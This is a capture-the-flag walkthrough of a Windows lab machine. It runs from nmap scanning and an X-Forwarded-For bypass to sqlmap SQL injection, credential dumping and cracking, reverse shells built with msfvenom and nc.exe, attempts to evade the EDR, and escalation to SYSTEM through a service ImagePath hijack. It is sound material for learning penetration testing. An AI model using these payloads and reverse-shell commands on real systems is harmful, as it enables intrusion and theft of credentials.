Box
Write-up
Overview
Network Enumeration : nmap, port 80, 3306
Webapp Enumeration : admin.php
, X-Forwarded-For
Webapp Exploitation : search products SQLi: dump creds + cmd exec
Elevation of privilege: isur to hector : powershell runas
Elevation of privilege: hector to system : bin path SYSTEM service exploit
Network Enumeration
TL;DR : nmap, port 80, 3306
A quick nmap scan to see which ports are open
nmap -sS -p- -oA nmap_full 10.10.10.167
:
# Nmap 7.80 scan initiated Fri Mar 20 23:53:43 2020 as: nmap -sS -p- -oA nmap_full 10.10.10.167
Nmap scan report for 10.10.10.167
Host is up (0.031s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
3306/tcp open mysql
49666/tcp open unknown
# Nmap done at Fri Mar 20 23:57:58 2020 -- 1 IP address (1 host up) scanned in 254.87 seconds
And a second nmap scan to discover services and versions
nmap -sSVC -p 80,135,3306,49666 10.10.10.167
:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql?
| fingerprint-strings:
| NULL, oracle-tns:
|_ Host '10.10.15.52' is not allowed to connect to this MariaDB server
49667/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=3/20%Time=5E7548B5%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.15\.52'\x20is\x20not\x20allow
SF:ed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(oracle-tns,4
SF:A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.15\.52'\x20is\x20not\x20allowed\x
SF:20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
The SQL server gives us a connection refused so we'll go with the HTTP server.
Webapp Enumeration
TL;DR : admin.php
, X-Forwarded-For
Optionally you can run a web discovery tool like dirsearch even
if not needed here.
Target: 10.10.10.167
[23:56:22] Starting:
[23:56:22] 403 - 312B - /%2e%2e/google.com
[23:56:28] 200 - 8KB - /about.php
[23:56:30] 200 - 89B - /admin.php
[23:56:30] 200 - 89B - /Admin.php
[23:56:35] 301 - 150B - /assets -> http://10.10.10.167/assets/
[23:56:40] 200 - 0B - /database.php
[23:56:44] 301 - 150B - /images -> http://10.10.10.167/images/
[23:56:44] 301 - 150B - /Images -> http://10.10.10.167/Images/
[23:56:44] 200 - 3KB - /index.php
[23:56:44] 200 - 3KB - /INDEX.PHP
[23:56:44] 200 - 3KB - /index.php/login/
[23:56:44] 200 - 3KB - /index.PHP
[23:56:45] 200 - 17KB - /license.txt
[23:56:45] 200 - 17KB - /LICENSE.txt
[23:56:45] 200 - 17KB - /License.txt
[23:56:57] 301 - 151B - /uploads -> http://10.10.10.167/uploads/
[23:56:57] 403 - 1KB - /uploads/
If we take a look at the source of index.php
we can see the following comment:
<!-- To Do:
- Import Products
- Link to new payment system
- Enable SSL (Certificates location \\192.168.4.28\myfiles)
<!-- Header -->
Very interesting comment that will help us in the near future.
Not let's try to reach the admin.php
page:
$ curl http://10.10.10.167/admin.php
Access Denied: Header Missing. Please ensure you go through the proxy to access this page
We are denied but we are supposed to go through a proxy, so let's add a
X-Forwarded-For
HTTP header and using an internal address we saw the a comment
before 192.168.4.28
.
$ curl http://10.10.10.167/admin.php -H 'X-Forwarded-For: 192.168.4.28'
It works we can access the page but we can do that in burp in a persistent way
so we can browse the app in our web browser rather than with curl.
So now we can see this.
Webapp Exploitation
TL;DR : search products SQLi: dump creds + cmd exec
There was a comment Import Products and also a SQL database from the nmap scan
so we can try a SQL injection (SQLi).
I used sqlmap (not forgetting to add the X-Forwarded-For
header) to
exploit the SQLi.
First, let's list tables:
$ sqlmap -u http://10.10.10.167/search_products.php --method POST -p productName --data 'productName=toto' --tables -H 'X-Forwarded-For: 192.168.4.28'
[00:29:49] [INFO] fetching tables for databases: 'information_schema, mysql, warehouse'
Database: information_schema
[77 tables]
...
Database: mysql
[31 tables]
+---------------------------------------+
| user |
| column_stats |
| columns_priv |
| db |
| event |
| func |
| general_log |
| global_priv |
| gtid_slave_pos |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| index_stats |
| innodb_index_stats |
| innodb_table_stats |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| roles_mapping |
| servers |
| slow_log |
| table_stats |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| transaction_registry |
+---------------------------------------+
Database: warehouse
[3 tables]
+---------------------------------------+
| product |
| product_category |
| product_pack |
+---------------------------------------+
We can dump users credentials stored in table user
from database mysql
.
$ sqlmap -u http://10.10.10.167/search_products.php --method POST -p productName --data 'productName=toto' -H 'X-Forwarded-For: 192.168.4.28' -D mysql -T user --dump -C User,Password
+---------+-------------------------------------------+
| User | Password |
+---------+-------------------------------------------+
| hector | *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D |
| manager | *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA |
| root | *0A4A5CAD344718DC418035A1F4D292BA603134D8 |
| root | *0A4A5CAD344718DC418035A1F4D292BA603134D8 |
| root | *0A4A5CAD344718DC418035A1F4D292BA603134D8 |
| root | *0A4A5CAD344718DC418035A1F4D292BA603134D8 |
+---------+-------------------------------------------+
Great, sqlmap was able to crack 2 hashes with it's embedded automatic
bruteforce:
manager
/ l3tm3!n
hector
/ l33th4x0rhector
For your information here are the various methods sqlmap was able
to exploit:
Parameter: productName (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: productName=-7611' OR 8249=8249#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: productName=toto' AND (SELECT 1413 FROM(SELECT COUNT(*),CONCAT(0x7178717671,(SELECT (ELT(1413=1413,1))),0x7176786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dkpS
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: productName=toto';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: productName=toto' AND (SELECT 7102 FROM (SELECT(SLEEP(5)))ETMY)-- bIbM
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: productName=toto' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178717671,0x5665716b58786a4955776773767048694661436950414263626c756b56717243616f6d59796b4f66,0x7176786a71),NULL#
In order to avoid time-based queries we can use the --technique BEUS
option.
sqlmap -u http://10.10.10.167/search_products.php --method POST -p productName --data 'productName=toto' -H 'X-Forwarded-For: 192.168.4.28' --os-pwn --dbms mysql --tmp-path 'C:/Windows/Temp/' --random-agent --priv-esc --web-root 'C:/Inetpub/wwwroot/' --technique BEUS
I tried to get a reverse shell with --os-pwn
directly but something when wrong
so let's try a more manual approach.
Let's use --sql-shell
to be able to run some SQL queries.
$ sqlmap -u http://10.10.10.167/search_products.php --method POST -p productName --data 'productName=toto' -H 'X-Forwarded-For: 192.168.4.28' --dbms mysql --sql-shell
select load_file('C:/WINDOWS/system32/drivers/etc/hosts'): '# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# This file contains the mappings of IP addresses to host names. Each\r\n# entry should be kept on an individual line. The IP address should\r\n# be placed in the first column followed by the corresponding host name.\r\n# The IP address and the host name should be separated by at least one\r\n# space.\r\n#\r\n# Additionally, comments (such as these) may be inserted on individual\r\n# lines or following the machine name denoted by a '#' symbol.\r\n#\r\n# For example:\r\n#\r\n# 102.54.94.97 rhino.acme.com # source server\r\n# 38.25.63.10 x.acme.com # x client host\r\n\r\n# localhost name resolution is handled within DNS itself.\r\n#\t127.0.0.1 localhost\r\n#\t::1 localhost\r\n'
With select load_file('C:/WINDOWS/system32/drivers/etc/hosts')
it try to see
if we can read files and it's working!
[17:26:33] [INFO] fetching SQL SELECT statement query output: 'select user()'
select user(): 'manager@localhost'
The current user is manager
.
[17:35:28] [INFO] fetching SQL SELECT statement query output: 'select version()'
select version(): '10.4.8-MariaDB'
The MySQL implementation is MariaDB.
Let's check the users' privileges.
$ sqlmap -u http://10.10.10.167/search_products.php --method POST -p productName --data 'productName=toto' -H 'X-Forwarded-For: 192.168.4.28' --dbms mysql --privileges
[17:52:11] [INFO] fetching database users privileges
database management system users privileges:
[*] 'hector'@'localhost' (administrator) [29]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DELETE HISTORY
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'manager'@'localhost' [1]:
privilege: FILE
[*] 'root'@'127.0.0.1' (administrator) [29]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DELETE HISTORY
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
It seems our current user manager is less privileged than root or hector
but still has the FILE perm that allowed use to read
C:/WINDOWS/system32/drivers/etc/hosts
.
As I said earlier --os-pwn
was not working so I tried --os-shell
to run
some command manually.
I generated (locally) a meterpreter
reverse shell.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.34 LPORT=9999 -f exe > win.exe
And tried to upload it will powershell in the os-shell
session.
os-shell> powershell -nop -c "wget http://10.10.14.34:8080/win.exe -OutFile uploads\win.exe"
Unfortunately, there is an EDR blocking and removing our reverse shell.
'The system cannot execute the specified program.'
I persisted and tried with various encoders or without meterpreter.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.34 LPORT=8080 -f exe -e shikata_ga_nai -i 3 > win.exe
-> spotted
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.34 LPORT=8080 -f exe -e shikata_ga_nai -i 4100 > win.exe
-> spotted
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.34 LPORT=8080 -f exe > win.exe
-> spotted
I found a manual obfuscation method with raw python that claimed to work 100%
of the time but it was overkill and too time consuming to do AV evasion.
Else is tried to upload nc.exe
:
cp ~/CTF/tools/kali-windows-binaries/nc.exe .
Note: the pre-compiled binary can be found here:
interference-security/kali-windows-binaries .
So I uploaded it and created a powershell session:
os-shell> powershell -nop -c "wget http://10.10.15.123:8080/nc.exe -OutFile uploads\nc.exe"
os-shell> uploads\nc.exe 10.10.15.123 9999 -e powershell.exe
Yey, the listener caught it without being spotted by the EDR:
$ nc -nlp 9999
Microsoft Windows [Version 10.0.17763.805]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\inetpub\wwwroot>whoami
nt authority\iusr
C:\inetpub\wwwroot>
Ok so we are logged as nt authority\iusr
, a service account.
Elevation of privilege: isur to hector
TL;DR : powershell runas
So we may need to log as hector or manager to see interesting stuff.
But runas
tricks like this one never works outside a true graphical terminal.
cmd /C echo l33th4x0rhector | runas /user:hector /netonly cmd.exe
So I had to figure out how to do it in powershell.
Before let's check detailed permissions:
C:\inetpub\wwwroot>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
================= ========
nt authority\iusr S-1-5-17
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Group used for deny only
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
ERROR: Unable to get user claims information.
I found the following tricks on Hack Tricks , on this page :
# create a credential object
$pass = ConvertTo-SecureString 'l33th4x0rhector' - AsPlainText - Force
$cred = New-Object System.Management.Automation.PSCredential( 'CONTROL\Hector' , $pass )
# check if credentials are working executing
Invoke-Command - Computer Fidelity - ScriptBlock { whoami } - Credential $cred
# Now the real command
Invoke-Command - Computer Fidelity - Credential $cred - ScriptBlock { cmd / c "C:\inetpub\wwwroot\uploads\nc.exe -e powershell 10.10.15.123 10000" }
I lost hours at this step. Why?
Because of troll from the challenge author.
The Invoke-Command
command requires the right hostname to work even if it is
localhost else it fails with an obscure error.
When you get the hostname of the machine in a classic way, or with enumeration
tool or if you guess that the name of the HTB box, you will think that the
hostname is CONTROL
right?
PS C:\inetpub\wwwroot> gc env:computername
CONTROL
PS C:\inetpub\wwwroot> $env:computername
CONTROL
c:\>echo %computername%
CONTROL
Not at all, I don't understand why but the legacy Hostname.exe
returns
Fidelity
, same in powershell..
PS C:\inetpub\wwwroot> Hostname.exe
Fidelity
PS C:\inetpub\wwwroot> [System.Net.Dns]::GetHostName()
Fidelity
So here I learned that the hostname (DNS) != hostname (computer name).
Most of the time this will be the same, but here it was not.
For professional and attentive guesser, Fidelity
was written on the home
page of the webapp.
Now that our powershell runas
works we can grab the user flag.
$ nc -nlp 10000
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Hector\Documents> whoami
control\hector
PS C:\Users\Hector> gc Desktop\user.txt
d8782dd01fb15b72c4b5ba77ef2d472b
Elevation of privilege: hector to system
TL;DR : bin path SYSTEM service exploit
We can see if hector has a command history.
PS C:\Users\Hector> Get-Content C:\Users\Hector\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
Fine, it seems to be a clue, we must have to look at services.
PS C:\Users\Hector> get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path Everyone"
There are dozens services where hector has full control, let's find one that iusr
can restart.
Let's try with a sysinternal tool.
$ cp /usr/share/windows/sysinternals-suite/accesschk64.exe .
PS C:\Users\Hector\Videos> powershell -nop -c "wget http://10.10.15.123:8080/accesschk64.exe -OutFile noraj.exe"
.\noraj.exe -uwcqv Hector * /accepteula
But access denied because it tries to open Service Control Manager.
Get all services:
PS C:\Users\Hector\Videos> reg query hklm\system\currentcontrolset\services > noraj.txt
PS C:\Users\Hector\Videos> copy noraj.txt C:\inetpub\wwwroot\uploads\noraj.txt
$ cat services_fullpath.txt| cut -d '\' -f 5 > services.txt
Get services owners and who can modify them.
PS C:\Users\Hector\Videos> get-acl HKLM:\System\CurrentControlSet\services\* | Format-List PSChildName,Owner,Group,AccessToString | Out-String -Width 300 > noraj.txt
PS C:\Users\Hector\Videos> copy noraj.txt C:\inetpub\wwwroot\uploads\noraj.txt
Get services registry binary path
PS C:\Users\Hector\Videos> reg query hklm\System\CurrentControlSet\Services /s /v imagepath
powershell -nop -c "wget http://10.10.15.123:8080/services_name.txt -OutFile services_name.txt"
In cmd.exe
we can try to loop over all services like that:
FOR /F %i in (services_name.txt) DO @sc qc %i
I translated this in PowerShell to check process that the user has access to:
foreach ( $line in Get-Content .\services_name.txt) {
$res = iex "sc.exe qc $line "
if ( $res -match 'QueryServiceConfig SUCCESS' ){
echo $res
}
}
So we have a list of services that Hector can modify, that iusr can restart and
that are own and executed as SYSTEM.
With Hector we try to modify wuauserv
binary to a reverse shell command:
C:\Users\Hector\Videos>reg add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\wuauserv /v ImagePath /t REG_EXPAND_SZ /d "C:\Inetpub\wwwroot\uploads\nc.exe 10.10.15.123 10004 -e powershell.exe" /f
The operation completed successfully.
With iusr we start the service: sc start wuauserv
so we gain a system shell.
nc -nlp 10004
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> gc C:\Users\Administrator\Desktop\root.txt
8f8613f5b4da391f36ef11def4cec1b1
PS C:\Windows\system32> whoami
nt authority\system
Note: the command is executed even if sc
displays an error.
Why wuauserv
? I just tried them all and it worked with this one.
Files
As the output of the commands listing services were very long I pasted them
in a Gist.
Gist :